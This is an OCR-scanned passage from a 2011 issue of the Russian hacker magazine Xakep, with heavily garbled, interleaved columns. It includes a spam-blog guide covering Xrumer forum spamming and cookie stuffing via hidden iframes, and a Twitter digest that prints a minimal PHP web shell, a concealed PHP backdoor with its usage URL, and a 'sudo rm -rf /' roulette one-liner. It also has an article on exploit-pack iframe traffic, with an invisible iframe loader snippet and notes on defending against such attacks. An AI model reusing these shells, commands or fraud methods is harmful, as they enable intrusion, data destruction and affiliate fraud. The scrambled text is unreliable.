лент стоит nодходить крайне серьезно: nросматривать по 3-5 статей

основанные на данном nринциnе, называются MFA IMade fог Adsense].

у каждого источника, так как вnолне может оказаться, что это чей-то

2.

Продвижениедруrихсайтов.

сnлог или сайт, который в каждом nосте рекламирует свои услуги,­

С nродвижением все очень nросто: nрокачиваем множествосnлогов

такие источники не нужны.

схожейтематики и ставим сквозные ссылки на нужный сайтnо нуж­

Сnисок nараметро в, которые желательно nроверять у сайта­

ным заnросам.

З.

донора:

Количество страниц в индексе более

Продажассылок. Для nродажи ссылок можно исnользовать сервисы sape . гu или

Индексация в nоисковых системах;

1. 2. 4. 5. 6.

linkfeed .г u . Для того чтобы ссылки раскуnались, у доменадолжен

300;

Количество nубликаций в месяцот5 и выше;

быть хороший возраст, высокий тИЦ и остальные SЕО-nоказатели.

Уникальностьстатей;

Также хочу отметить, что nродажа ссылок-это не самый лучший

Отсутствие коротких и бессмысленных статей.

сnособмонетизациисnлогов.Из-заnлохогокачестваконтентата­

Теnерь воnрос- как свести это воедино и автоматически агре­ гировать?

кие сnлоги живут недолго и не усnевают набрать нужные nараметры.

4.

Установка баннеров.

С баннерами всесугубо индивидуально. Находим людей, которым нужентрафик по схожейтематике и устанавливаем их баннер. Ставить В качестве сnлогерского движка несомненным лидером является

баннер по количествукликов крайне не рекомендую, лучше nродавать

WoгdPгess (альтернативой может быть Dгupal или DLE]. Для ворд­

еготолькоза фиксированную nлату. Стоит отметить, что не каждый nо­

nресса есть целый ряд nлагинов, облегчающих создание сnлогов и

куnател ь захочет скуnать ба н н ер н ы й трафик со сnлогов только nотому,

у величивающих количество трафика. Основоnолагающий nлагин для

что этосnлоги :-].

сnлогера- это, конечно же, FeedWoгdPгess. Он nозволяет осу­

5.

Партнерские магазины.

ществлять автоматический реnостинг из выбранных RSS-лент. Вот

Исnользование nартнерских магазинов все больше и больше набирает

некоторые из его возможностей:

nоnулярность. Сnлоги изначальносоздаются с товарами, и в каждом nосте существуетссылка на сайт для их nокуnки.

nоддержка

6. Cookie stuffing.

RSS/Atom;

Также можно исnользовать технологию cookie stuffing ( Ьit .l y/pObKhh ].

автоматическое создание категорий;

размещение анонса или nолной статьи;

Она nозволяет nодставить nартнерские кукинамножество магазинов.

включение/отключение

Для этого достаточно nодгрузить nартнерский магазин в скрытом

комментариев;

выбор автора;

фрейме. Пользователь, nросматривающий сайты из выдачи и выби­ рающий nодходящий ему магазин, может наткнуться на твои сnлоги и,

nакетное добавление лент; отсутствие необходимости

исnользовать

cron.

соответственно, nолучить твои куки. А nосле куnить что-то в одном из твоих магазинов. Кстати, самой nоnулярной nартнерской nрограммой

Так как это основной nлагин, я оnишу nодробный nлан действий:

1. После установки нужно nерейти в раздел <<Syndication », где вы­ бирается nодраздел «Posts & Links >>. В разделе «New posts >> уста­ новим галочку «Hold syndicated posts fог гeview; maгk as Pending >>, а в разделе «Peгmalinks point !о: >> установим галочку наnротив «The local сору оп this website >>. Не забываем сохранить все сделанные

для nродажи реальныхтоваров является тотсамый

nредварительно найденные по моим советам, инажмем кноnку

«Add >>. После зто го nлагин nроверит валидность источников и nредложит nодnисаться на них. Нажимаем «Subscгibe to selected

изменения.

2. Теnерьдобавим источники RSS, для этого я советую восnользо­ ваться встроенной nакетной функцией «add multiple>>, которая на­ ходится на вкладке <<Syndication >>. Вставим туда сnисок RSS-лент,

Amazon.com, ино­

гда nроцентная ставка с nродаж на нем доходит до 15%.

гesouгces >> .

3. Далее выбираем добавленные блоги в сnиске «Syndicated гesouгces >> и нажимаем <<Update checked >>. Чем больше сnисок, тем дольше обновление, nоэтому nридется немного nодождать.

Product Category

Fixed Advertising Fee Rates

Electronics Products

4.00%

Amazon

МРЗ

Products

4.

Из-за настроек nервого nункта все заnиси будут ожидать nроверки, nоэтомустоитвручнуюустановитьвремяnубликацииираскидать зти заnиси на nостинг в течение

5.

1-2 месяцев.

После того, как nройдет 2 месяца, нужно вернуть настройки nерво­

10.00%

го nункта обратно. Первый и nятый nункты можно и не выnолнять,

Amazon Video On Demand Products

10.00%

но я рекомендую не начинать свежий сnлог сразу с большого коли­ чества заnисей.

Game Downloads Products

10.00%

Endless.com and smallparts.com Products

15.00%

Gift Cards RedeemaЫe on the Amazon Site

6.00%

Процентные ставки на

06~

Amazon.com

Помимо FeedWoгdPгess есть целый ряд других nолезных рас­ ширений, которые я nривел во врезке. Главный nроблемой связки WoгdPгess и nлагинов является большая нагрузка, которую, вnрочем, можно частично решить с nомощью nлагинов для кэши­

рования. Могу дать еще несколько советов. После установки соот­ ветствующей CMS лучше сразу отключить возможность комменти­ рования. Также лучше убрать

RSS или nостить туда только анонсы

ХАКЕР

11/154/2011


взлом

Запланированные обковпеюUI Последнее обновление:

6 ми нут ago

СледУющее обновление:

обнов11Ть no rрафшсу (every 60 minutes)

График обновлений :

Ка к дол го

@

G

FeedWordPress долже н ждать ,

n ока л е нта б)'Ает roro в a к обновn ен шо?

Иа1оль зо ваrь общие н астрой ки (c:eliчa c

б Ждать

60

60 м 11нут)

микут междУ об н о вл ен ltЯ 1..4 11 .

Ре.:оuендацмя . П ока в ы н е уве р е н ы, в ы н е должны н астр а1t вать

FeedWordPress на об н о вл е н 11& чаще чем раз е 60 минуr.

Мн оn•е ве бм асте ра счита ют частые з аn росы н а обно вn е н 1tе е редон о сн ыt.ш АПЯ сер еера

и мo ryr nожал о ваться на ва с. вnлотъ до ба н а ва шего аккауктэ на ХОСТ11 нrе .

Замечание. настро й ки

Fe edWordPress nо-умопча н аtю исnользуют за ма н11роеанн ое обно еn ен • t е тол ь коесnи nентэ н е да ет нщсакшс данн ых о б обн оаленшu.. Ecn11 лента nредоставляет 1\ Нф о рмаци ю о ), FeediNordPress бm,ет 1tсnользо взтъ эщ Аанные .

з ама н аt ро ванн ом об н овлени и (ч ер ез та кой эле м ент, как < гss : ttl > иmt < S y :update.Fгe.que.nc y>

Настрой к и обновл ения

FeedWordPress

НА ЧЕМ ОСНОВАН Т РАСТ ПОИСКОВЫХ СИСТЕМ? Е с ть н ес колько пара метров , влияющих на уровеньдоверия поисковиков.

1.

2.

З.

4.

5. 6.

Время нахожде н ия в индексе .

ЗАРУБЕЖНЫЕ ВЕБМАСТЕРЫ УЖЕ ДАВНО ОТОШЛИ ОТ ТЕМЫ ДОРВЕЕВ В ПОЛЬЗУ СПЛОГОВ бы с тро надоес т ь , п оэтом у с тоит потратить немно го денег на с п е­

Чем дольше сайт находится в индексе поисковой системы, тем

циализирова н ные пр о граммы

выше степеньдоверия к нему.

сервисы социальных закладок » !. В качестве д о полнительного с п особа

[Google -7 « Автоматический пастин г в

Ссылк и н а са йт.

п о п адания в индекс можно в на с тройка х св ое й

Чем больше естественных, а не покупных ссылок, ведут на сайт,

у п равления контентом мы погов о рим ниже! добавить сервисы для

CMS [ о выборе сис т емы

тем выше поисковые системы его оценивают.

RРС - пинга [ и х с писок также л е ж ит на диске!. В WoгdPгess настройки

Внешни е сс ы лки .

RPC

Чем больше на сайте внешних ссылок , тем меньшеуровень доверия.

токол

Качество сайта:

поле. Е с л и е с ть во з можно с ть для пр о ставпения << жирных >> [трастовы х

• уникальность и актуальность контента; • уникальность стр у ктуры; • внутренняя оптимизация; • скорость загрузки страниц; • валидный синтаксис HTML; • наличие контактов с админами/разработчиками.

и пиар ис ты хl сс ылок , то перед и нде к сацией обязательно п роставить

н ахо дя тс я на вкладке << Напи с ани е » : з де с ь н у жно включить пр о ­

XML-RPC и

вставить спис о к п рил о ж е нны х мною сл у жб в нижнее

нескольк о та ких с с ылок на главн у ю стра н ицу и Н Т М L-карту сплога. После индек с ации можно плав н о у величивать количество в х одящих с с ылок. Прокачиваем главн у ю и с ами посты. П осле то го, как с пл о г

п рожив ет

2-3 месяца , можно п рос памить его по ф о р у мам или благ ам. 50-60 % от в сех ссылок на оnубликованные п осты и

Лучше все го взять

Посещае м ость са й та .

проспамить и х любым дост у пным с офтом [ н аверняка ты слышал про

Дру г ие факторы .

Xгumeгl . Так же у становим счетчик с та т истики, к п римеру, l i veinteгnet. Такой сче т чик nо з волит оценить количество и качес т во посетителей.

Ни одна из поисковых систем никогда не раскроет аб с олютно

П о мере ро с та с пл о га тебе б уд ет видно, с каких с т раниц идет о с новно й

в с е факторы, влияю щ ие н а уровен ь доверия к тому или иному сайту,

трафик . С о вет ую вз глян у ть на п оз иции этих с т раниц в п о ис к овы х

поэтом у тебе ос т ается лишь экспериментировать.

системах . Е с ли страница не н ах одится в топ-5 , ей т о чн о не помешают хорошие вх о д я щие ссылки.

ста т ей. Это позволит за щ ититься от плохого влияния на сплоги со

После установки всего описанного выше стаффа и выпол н ения на­

стороны других вебмастеров.

меченного плана по раскрутке с мело можно п опробовать различ ­

ные с пособы монетиза ц ии !см . врезку!. И ... пристуnать к созданию следующего сплога. В любом случае, каждый новый спло г- это

Неотъемлемой составляющей сплогов является шаблон. Не стоит

нечто творческое и неповторимое. Н икто не расскажет тебе готовый

делать несколько сплогов на од н ом шаблоне, так как поисковые

ре ц епт. В да н ном случае могу лишь посоветовать походить по

системы мог у т nриня т ь

с п ециализированным форумам из сносок-там п о крупицам можно

с п логи за нехорошую спамерскую сетку.

Л учшим вариантом будет использова н ие уникально г о шаблона или

качественно передела н но г о бесплатного. Если не хочется самому

выудить нужную и актуальную сплоговую информацию. В этой с татье я описал минимальный набор для на ч инающих

делать шабло н ы, или н е хватает зна н ий для этого , можно с качать

сплогеров. Зарубежные вебмастеры уже давно ото ш ли от темы

бесплат н ые- на п ример, с xtemplate.гu или Ыogstyle.гu . Также не

дорвеев в польз у сплогов. Их выгода очевидна, они до сих пор

забываем удалять спрятанные ссылки и, возможно, бзкдоры в их

приносят х ороший зарабо т ок, не используя при э т ом никаких

коде [в бесплатных шаблонах зачастую с п рята н ы линки, с помощью

противозаконных технологий , в отличие от сего д няшних технологий

которых нечестные вебмастеры прокачивают свои сайты l .

изготовления дорвеев. Минусом качественных сплогов является nо­

требность в ручной работе, по з тому здесь возникает проблема с мас­ совым nроизводством. Если ты реши л начать заниматься сплогами ,

Каждый вебмастер в основном придерживается собственной стра­

т о решай: массовость, но с большим количеством ба нов со с т ороны

тегии для продвижения своих ресурсов, я лишь расскажу о самом

п оисковы х систем , и л и же штучная, но качественная работа. Также

ос н овном . П ервым делом нужно попасть в индекс поисковых систем,

с о ветую не останавливаться на беспла т ных решениях , описан н ых

для чего можно ис п ол ь зовать их встроенные AddU г l сервисы или про­

мной, а п отратить некоторое количество денег и сил н а поиски и по­

гон по социальным закла д кам. Список сервисов со ц иальных закладок

к у пку с пециальн о заточенного под это дело софта. Деньги вернутся

можно взять с на ш его диска. П ости т ь вручную п о закладкам может

к те б е с торицей

066

:1. :::;: ХАКЕР

11 /15 4/201 1


rakernelpool: Атаки с указателем квоты

Счастливого

пула уже не работают в

ния

Windows 8. Указатель про­

IE6.

1О-го дня рожде­

Это странно, так как

есть не так много

1О-летних

цесса поКСОРен со случайным значением

стариков, вокруг, которым ты желал смер­

[ nt! Ехр PooiQuotaCookiel.

ти еще

5 лет

назад ..

1!1!1

Комментарий:

Закон обмана: количество раз­

liiil

Переполнения пула не катит в вось­

дуваемой информации об уяз­

мерке. Кому интересно как же зто работа­

вимости до релиза ее деталей,

ло, советую посмотреть презентацию [ Ьit.

Внимание: вам не надо быть

ly/qiWгtS I.

'анонимусами', что бы быть

обратно пропорционально реальной угрозе.

raanonymouSabu:

Анонимусами . Не бойтесь выка­ зывать поддержку идее.

raox6D6172696F:

rathegrugq:

Хороший небольшой РНР

Я поддерживаю

шелл с http://h.ackack.net/tiny-

disclosuгe, когда ты сообща­

selective

php-shell.html //<?=[$_=!а$_ GEТ[2]J.Ia$_[$_GEТ[1]1?> Почти no-alnum.

работе твоему эксплойту. <<Исправьте зто [и

Почти .

тогда я получу гооt]>>

raanton_chuvakin:

ешь об баге, который мешает

Боже, если ты существуешь,

пожалуйста, не позволяй им создавать новую технологию

APS -

1!1!1

liiil

<<АРТ Pгevention

System>>

Комментарий:

Типа «скрытый» шелл . Можно юзать

как бэкдор. Идея в том, что:

rachrisrohlf:

<? $vаг1 ="system"; $vaг2="diг";

Когда я впервые слышал про

$vаг1 [$vаг21;?> . Тогда понятно, что данный шелл надо юзать так:

http://localhost/shell.php?1 =diг&2=system Символ

ra используется для скрытия оши­

бок в логах об отсутствиие индексов

1и 2

в запросе [то, что надо для бэкдора, ведь,

{NX, DEP, SafeSEH, SEHOP, ASLR, RELRO, SmaгtPtгs, Safelnt, /GS, Неар Cookies, Uпliпk Checks Л'd fn ptгs, Reoгdeгed Vaгs, SDL, Saпdboxes}, я думал, что ошибки memory

razeminlu: Русская рулетка в UNIX: sudo [ $[ $RANDOM% 6] ==О] && гm -гf 1 11 echo "You live"

соггuрtiоп мертвы.

скорее всего, легитимные запросы будут

Единственное же решение- отсутствие

laDidierStevens:

идти без этих пара метров!. Итого - <?php

багов вообще. Это еще не конец :1

Хорошие новости. Потестил я

[$_ ="system"l.$_["diг"l;?>.

nсевдо

ASLR в ЕМЕТ'е с вклю«bottom up

ченной опцией

гandomization>>. Оказывается псевдо-АSLR

radakami:

так же хорош, как и реальный

ASLR.

«Я раньше думал, что мозг это У меня такие же проблемы с

LDAP,

как с

самый замечательный орган в

S в SNMP

моем теле. Затем я осознал, кто мне зто говорит>>.

Комментарий:

В ответ на взлом kenel.oгg,

1!1!1

Комментарий:

Pгotocol

liiil

Дэн Камински цитирует Эм о

SNMP = Simple Netwoгk Management

Филлипса [американский комедиант ... !

LDAP = Lightweight Diгectory Access

ra

SecuгeTips рекомендует заnу­ скать серверы в гunlevel

2,

дабы

избежать бэкдоров в гсЗ.d скриптах.

Pгotocol Лопата.

ХАКЕР

11 154/ 011

067


взлом

So Better

НА ЧЕМ ЗАРАБАТЫВАЮТ ВОРОТИЛЫ БИЗНЕСА ЗАГРУЗОК

за и нападени Если ты не вращаешься в определенных кругах, то вряд

ли знаешь о том, каким образом

Вся информация

l fгame, или nлавающий фрейм,- это отдельный законченный НТМL­

nредоставлена

документ, который вместе с другим содержимым и другими фреймами

исключительно в ознакомительных

может быть отображен в любом месте веб-страницы. Проще говоря, этоттег

связаны между собой понятия

целях . Ни редакция,

nозволяет загружать целый сайт внутри сайта. Есть два основных <<черных>>

ни автор не несут

ifгame, траф и загрузки . Однако,

ответственности за

метода исnользования этого на nервый взгляд безобидного тега:

если тебе хоть раз в жизни

любой возможный вред, nричиненный материалами данной

встречался SМS-блокер или

статьи .

1. Атаки на комnьютеры обычных nользователей nри nомощи так назы­ ваемых эксnлойт- nаков . Айфрейм идеально nодходит для этих целей, ведь все nроисходит втайне от юзера;

2. Н акрутка всевозможных счетчиков nосещений, к nрим еру.

твой мейл оказался завален

Livelnteгnet или Яндекс . Метрика.

спамом, то знай- ты попался

В данной статье мы будем рассматривать именно nервый метод.

в лапы к нехорошим людям,

Схема его исnользования довольно nроста:

которые в своем теневом

1. 2.

бизнесе оперируют как раз этими словами.

Покуnается или nишется эксnлойт-nак; Покуnается или арендуется антиабузный хостинг для установки эксnлоит- nака ;

3.

lfгаmе-код этого экс nлойт-nака вставляется на как можно большее количество НТМL-страниц;

4. Уязвимые браузеры n осетителей этих страни ц nробиваются с n омо­ щью эксnлойтов из nа ка;

068

ХАКЕР

11/154/ 2011


lfгame: защита и нападение

~~

- - -- - -- - - - -

------~

--

СТАТИСТИКА

Осtюsные Бvtый сткок Вс:троенные ~eiCfbl BнtWH IIЙ I"A YI~OМI'IViИII ДonoлниrUII>ItO Доnолннrепьные оrран~о~ чения ААА нем,р.еж.tы~~; с111йтое

ЗА ВЕСЬ ПЕРИОД

При~t ~ltЩе\ К.ШtНЬI I'tЫС t1 1стрОЙО! ltтyneJOT 1J СЩ 11116о Hl НО IОЙ CТJI~ HIЩt, либо МОU\11! o6нOIJi et1 И.II tиyute\i CJPIHIЩЫ (1ручwу10)

(i} Зtnрmнь <AUOIO> 1 <VIDEO>

0

З111nретмn. оrображен ие ~еа.tекто• M~eromedi tФ F11mC!I

0

Зtnp e~ отображенке )lltt.teнтo• <IF RAME>

gj

Звnретмn. oтoбputtt~иe 'ntмtmol Microsofte Silllv!ight""

1::}

Зanp enm. отобрц:ен ке )1\tм~о• < F RAМES>

fi]

З1npenm. отобрuсttше )lltмtктoa друrмх м1mноа

li) Зanpenm. Ofont-ftce

1160 ХИТЫ

[J При ..еtU~ть ""' огрмtиченмя м д.пао~.оверенным айто•

ЗА СЕГОДНЯ

({} 6JIOirnj)OIIП.IIto6oЙ ~ЫICI" С IIЦOIЦ'tti11ЬIX CIЙYOI

1160 хиты

bll

BЬ!ДeJUtn> uбпоmроа•нные :t.nементы '"' чком с pil.l~toй

Е) Не on.tNIHo o6~tltТЫ, '(ОТО~ p•<ПOIIOJt:tHЫ Hl HtHIДOCitblX СIЙТIХ

I1J lJ

ПодтаержА~ть аременкую puбlюкttpolкy O~el("fl Hl страt~нце Cto~ч1111n. ябпок11роttн"ые oб"tiCfbl

962 хосты

14 ЗАГРУЗКИ 4it

962 хосты

14 3дГРУ31<И -

ПРОБИВ

1.46% ПРОБИВ

• Статистика одной из действующих связок эксплойтов

CINrCiick-saщип Кll страннцu_

li} недоаерен ньа

{i] АО1tренных

3.

Дорвеи.

Дорвеи- это сайты, которые не несут никакой полезной инфор· мации для обычного пользователя . Создают их для привлечения трафика с поисковых систем на партнерские сайты, которые

NoScript в Firefox

зачастую являются простым и обманками. Например, в случае с СМС-платниками пользователь не получает ничего взамен после

5. 6.

отправки одной или нескольких см с. Подобные сайты легко могут

К посетителю скрытно грузится специальный софт

[отсюда берет свое начало термин <<загрузки>>];

использоваться для распространения вирусов и тому п одобного

Взятый под полный контроль компьютер этого посетителя ис­

добра. Все чаще их создают на взломанных сайтах, так называе­

пользуется для совершения каких-либонезаконных действий

и, в конечном счете, для заработка .

мом «ЛОМе».

4. SEO,

белые ресурсы.

Злоумышленники также могут создать и хорошие сайты с хоро­ шим контентом и приятным дизайном. Такие сайты продвиг аются

Чисто технически все предельно понятно, но остается вопрос:

каким образом злоумышленники получают п осетителей [траф] на

в поисковы х с истемах, а затем имеют во всякие интересные места

з араженные страницы?

своих пользователей с помощью все тех же айфреймов. К счастью, сами поисковики тоже не дремлют, и такие сайты зачастую

ИСТОЧНИКИ ТРАФА

награждаются табличкой с предупреждением о возможной опас­

В бизнесе загрузок существует огромное количество с п особов для привлечения трафика. Притворимся инсайдерами и рассмотрим

но сти .

5.

Спам . Очевидно, что банальный сп а м тоже являются распространителем

самые основные из них.

вредоносных программ. Часто фрейм вставляется на редиректы.

1.

Редиректы- это средство для перенаправления поль зователя

Покупка.

Купить- это, пожалуй, самый легкий способ. Туту злоумышлен­

на нужную страницу или сай т. Злоумышленники часто используют

ников есть несколько вариантов: пок у пка с рук на всевозможных

уязвимости в сайтах для того, чтобы создать на них редирект. Та­

хакерских форумах или покупка на специализирова нны х биржах

ким образом, человек, пере ходящей на знакомый сайт, попадает в

SЕО-трафика. Многие форумы просто кишаттемами о продаже

лапы вредителей. Тем самым убиваются сразу два зайца: человек

трафика : <<Продам

US, UK, AU>>

попадаетнан ужныйсайтиподвергаетсяатакесвязоксплойтов.

или << Продам м икс 100к >>. Это и

есть те самые топики, где злоумышленники покупают поль­

Также в рассылках может быть, скажем, Wогd-файл с заманчивым

зователейдлясвоихзловредныхдействий.Од накоестьодно

названием, где тоже присутствуетссылка на вредоносный сайт. Или

<<НО>>- купить по-настоящему хороший трафик практически

человека просто просятскачать файл, который, как ты понимаешь,

невозможно, потому что продавцы в основной массе используют

является вредоносным. Самое удивительное, чтотакие просьбы

его сами, а продают для того, чтобы получить больше выгоды.

составляются специалистами в области НЛП и социаль ной инжене­

Или же продажа изначально идет в большое количество рук, то

рии, и юз ер зачастую сам с качает и запустит любой зло вред.

естьзлоумышленник у сделать деньги на этом трафике будет тяжелее, так ка к каждый новый по купатель может стать его конкурентом.Увы,покупаятрафиксоспециализированных

П осле обзора источников трафа у тебя наверняка возник еще более

бирж, также не стоитрассчитывать на качество трафика. Почти

интересный вопрос: а зачем же грузить эти вирусы и прочие вреда­

весь он состоит из б ото в, которые, как ты понима ешь, ни на что

носы? Давай копнем еще немного глубже и посмотрим на то, на чем

не годятся. Но эволюция не стоит на месте: в последн ее время

злоумышленники получают прибыль в описываемом бизнесе.

стали появляться с пециали зированные биржи как раз для таких

черных дел. Многие недобросовестные вебмастеры и владельцы

1.

сайтов намеренно продаютсвой трафик туда, зная, куда он идет

2.

Фейковыеантивирусы. Твой переанальный компьютер подвергает ся заражению, и у тебя,

и что может приключиться с пользователями .

как по мановению волшебной палочки, п оявляется антивирус,

Шеллы, фтп, до ступы, админки .

хотя ты ничего и никогда не устанавливал. Он в огромных количе­

На тех же самых форумах всегда найдется огромное количество

ствах находит вирусы, якобы заразившие твои файлы. Для того

объявлений о продажетак называемых шеллов, фтп, доступа в и

чтобы вылечить все это непотребство, те бе предлагается купить

админок. Это, как правило, взломанные сайты, с которых хакер

полную версию а нтивир уса, которая стоит более

хочет получить прибыль, продав к ним доступ. Злоумышленники

Человек, за гр узив ший этотантивирус натвой компьютер, получит

100 долларов.

обычно используют их для рассылки спама, создания дорвеев

комиссионные с каждой такой продажи. А ты- ничего, кроме со­

и для того, чтобы поставитые самые айфреймы на свои связки .

жаления о потраченных средствах .

Иногда случается даже, что до боли знакомый сайт становится

2.

Подмена выдачи.

вредоносным. Время излечения от заражения зависитуже от

Этот вид вреданоса более дружелюбен к п ользователю, так

администраторатакогосайта.

как ведетон себя оченьтихо и п о купать ничего не просит. Эта

ХАКЕР

11 / 154/2 011

069


взлом

И Н ЖЕКТЫ И АВТОЗАЛ И ВЫ

КАК ЗАЩИТИТЬСЯ ОТ АТАК ЧЕРЕЗ IFRAME

Инжект ы - эт о в недрение о п ре д е л енного ко д а в б р аузеры !прямо как плагиныl для анализа каких-либо полей и другой дополнительной информации п ользователя . Чтобы лучше понять , зачем они нужны,

Теперь, когда ты оправился от ужаса всего написанного выше,

предлагаю рассмотреть неболь ш ой пример. Для того чтобы украсть

я хочу рассказать тебе о защите от айфреймов. Как говорится,

деньги со счета, злоумышленнику нужно знать некоторые допол­

спасение утопающего- дело рук самого утопающего. Итак, есть

нительные данные !кодовое слово, девичья фамилия матери и т.д.).

несколько инструментов :

Взять их вроде бы неоткуда, кроме как у самого пользователя. Но не спрашивать же их напрямую? На самом деле мшкно, но хитро -так,

1. Антивирусы .

чтобы он не заметил подвоха. Для этого мошенник может обратиться к

Самым простым способом защиты является, конечно же, антивирус,

зло-кодерам, которые и пишут эти самые инжекты. Обычно их создают

который будет предотвращать атаки на твой компьютер с так

специально под оформление сайта, с которого далее будет вымогаться

называемых << грязных сплоитов >> . Грязные сплоиты- это сплойт­

информация !например, странички онлайн-банкинга). У человека при

паки , которые когда-то уже были обнаружены антивирусными

заходе в свой аккаунт на банковском сайте органично всплывает окно,

компаниями или другими сервисами наподобие Ma l waгe Тгасkег'а .

которое запрашивает прямо здесь и сейчас ввести дополнительные

Таким образом, при атаке грязной связки антивирус сможет

данные. Ничего не подозревающий пользователь их вводит. Данные,

защитить твой переанальный компьютер, так как сайт или код связки

в свою очередь , отправляются злоумышленнику, а дальше при их по­

уже были занесены в базы обновлений.

мощи и совершается кража средств.

2. Плагины .

Аз- это автозалив щ ик. П о сути это возможность троя на , которая

Злоумышленники- люди далеко не глупые и вряд ли станут держать

позволяет без участия оператора !владельца ботнета) автоматиче­

свой софт в <<грязном >> состоя н ии, поэтому мы н е буд ем н а

ски осуществлять залив !перевод денеж н ых средств с банковского

полагаться н а антивирусы и постараемся за щ и т ить свою машинку

эккаунта жертвы) нанекоторого заранее обозначенного дропа. К

сами. Так как большая часть атак нацелена на плагины IAdobe Flash

примеру, автозалив может осуществляться в момент, когда жертва

Рlауег, Java, Adobe Readeг) , советую тебе просто выключить их . Хоть

заходит на страничку своего онлайн-банкинга.

это и не очень удобно, зато наиболее безопасно, ведь в плагинах

100%

практически ежедневно обнаруживают какие-либо дырки . Отдельного упоминания требует Java, так как в ней находится большая часть уязвимостей. Ее в л юбом случае л учше вык л ючить, потому что на серфинг вИнтер н етеэто никак не повлияет.

З . Обновления. Не зря производители программ всегда пытаются засунуть в как

можно большее количе с тво мест эти надоедливые механизмы обновлений. П омнишь, в детстве всегда заставляли пить невкусные лекарства? Тут совершенно так же. Эти <<лекарства >> как раз и устраняют все уязвимости, котор ы ми так охотно пользуются злоумышленники .

1,. Блокеры lframe·мoв. Блокеры фреймов- это лучшее решение для тех, кто не привык к << неполноценному >> Интернету. Нехитрое действие по блокированию

фрейма до того, как он открылся, в п олне полно ц е н но сможет уберечь твой компью т ер от заражения . Многие

<< No Аds >> -дополнения имеют в своем арсенале такую функцию,

как блокирование lfгаmе'мов, на п ример, NoScгipt l noscгipt . net ) . Для включения функции блокирования фреймов заходи в <<Инструменты

7 Дополнения >>, затем заходи в опции NoScгipt ' a, открывай вкладку << Piugins>> и ставь галочку на п ротив << FoгЬid <IFRAME»>.

5. JavaScript. Этот радикальный сnособ также поможет избежать заражения, т. к. криптеванный фрейм просто н е сможет сработать. Однако не смогут

работать и боль ш инство современных сайтов :). Так или иначе, имей в виду, что соответствующая настройка есть в настройках любого браузера.

С КАЖДЫМ ДНЕМ ПОЯВЛЯЕТСЯ ВСЕ БОЛЬШЕ НОВЫХ СПОСОБОВ КРАЖИ nровер ка х орошо за к риптованно й связк и на нал ичи е вирусов

070

ПЕРСОНАЛЬНЫХ ДАННЫХ ХАКЕР

11/154/2 011


lframe : защита и нападение

зксплоиты

%ВСЕГО

%t

7

50.00

4

28.57

2

14.29

ХР

2

100.00

PDF LIBТIFF

1

7.14

28.57

FLASH > Java SMB

14.29

Java ОВЕ

50.00

-

ЗАГРУЗКИ

ЭКСПЛОII'IТЫ

Windows

7.14

v

Windooл•s ХР

100.00

х

Статистика по эксплойтам в одной иэ связок

программа меняет рекламу и результаты поиска в Интернете на

r··..-lы npeдлaraet·l f:.Эr·r зарепктрtrров.эн.е:::J в наше1:1

PPI

партнеро~о1:1 nporpar-н·re.

Пр1rн1н-r.эеr-r адвертов от :.оо 11нст.элов в с;,•тю1.

рекламу злоумышленников, которые получают с этого доход.

З.

Такой прием обычно используется какдополнительный способ

Пл а т иl'"t:

заработка на зараженных машинах.

Ценовt-rе \/СЛОЕ:Irя

Винnоки/Бnокираторы.

-

РеГ•/Л·::Jрно r·:plrnт·,,~er-rt.в'r е:~е.

-

Подробн.э:::~ онл.эr-1н стапкпи<а.

Самый злобный способ выжимаденег из загрузок. Специальная программа блокируетсистему и проситсделать что-то, чтобы твой

компьютер был разблокирован. Сейчас очень популярны предло­

::.эвrrсят от ~~-эцества ваши:: trнcтa.noE:.

- Гр··,"Зtнt.ся нr:~ий COi~H и не r-rewaeт р.эботе п~· to::epa. -Выплаты r·:а:·t~дый вторниr~ ~:а предыд1,rщ\'Ю неделю.

-

П 1е

ост.:шляеr.r свя=:~~~~.

жения с пополнением баланса сотового оператора в обмен на код дляразблокировкинагипотетическомчеке.Послепополнения

телефона злоумышленника ты никакого кода не увидишь, и твой

Н е в ы к уп ае~"< t :

1) 2)

[.·Jнсталы, нд·.,,.щие Е: нес~·:олt·~·:о p·Jiк

l··1нсталы с порн·у-шны:.: са~~нов (адалт).

компьютертакиостанетсясокном,котороепроситпополнитьномер

мобильного телефона. Также для ускорения получения денег и еще

Про с ьб а с р аз у у каз ы ва ть:

большего испуга пользователя злоумышленники используют над­

1) 2)

писи, которые гласят, что через некоторое время файлы с компьюте­ рабудутудалены,хотя,скореевсег~ничеготакогонепроизойдет

t..

Аккаунты от банков/Кредитные карты/

1=-'./ТОЧНЬIЙ 06Ъet•l f1НСТ.ЭЛО8. Проис::о:1:·дение инст.элов(теr·rапн<а).

nост на одном из специализированных форумов

Другая личная информация. Все перечисленное выше является основной целью людей, которые

код [на практике ты вряд ли заметишь такой код, так как обычно

по ража ют вирусами компьютеры простых пользователей. На маши­

ifгame нехило закриптован и обфусцированl:

ну попадает какой-либо граббер, например, уже набившие оскомину всем антивирусным фирмам Zeus или SpyEye, затем этотграббер ворует все введенныеданные и отправляют их на сервер, где

<iframe src= "http ://s ite.ru / l . php" width= "e" height= "e" frameborder= " e" ></iframe>

злоумышленники анализируютих и находят нужную им для кражи

денег ин фу. С повышением грамотности пользователя и развитием безопасности софта красть такие данные стало сложней, но и тене­

Здесь ты можешь увидеть ссылку site.гu/1.php и некоторые пара­ метры. Давай сначала пройдемся по пара метрам:

вой бизнес не стоит на месте . С каждым днем появляется все больше новых способов кражи персональныхданных: к примеру, инжекты и

так называемые «аз>> программы (подробнее во врезке! .

5.

Ддос.

width= "e" - ширина height= "e" - высота frameborder= "e" - убирает границы фрейма

Создание ботнетов для совершения DDоS-атак-это уже повсед­ невное дело. Чаще всего владельцы ботнетов оказываютуслуги

6.

7.

Данный код скрывает подгружаемую ссылку, делая ее незаметной

по вымоганию денег с владельцев интернет-ресурсов под угрозой

для глаз пользователя. По самой ссылке находится связка с эксплой ­

ддос-атаки.

тами. Сначала определяется вид браузера, наличие плагинов и тип ОС,

Спам.

а затем связка пытается <<пробить>> этот браузер всеми доступными

Ботнеты используютсядля рассылки спама. Самым известным был

методами. Эксплойты обычно берутся с багтреков или же покупают-

ботнет

ся в привате за п-ную сумму зеленых президентов. Если эксплойт

Rustock, который в свои лучшие времена генерировал до 4

миллиардов писем в сутки.

сработал, то к пользователю автоматически загрузится или сам вирус,

Продажа.

или специальная программа-лоадер, которая будет ждать команды

Данное описание было бы неполным без упоминания такого при­

из <<центра>> на загрузку определенного софта. Также стоит отметить,

митивного способа получения нечистой прибыли, как простая

что в последнее время появились такие связки, которые в случае не­

продажа загрузок под определенные описанные выше цели.

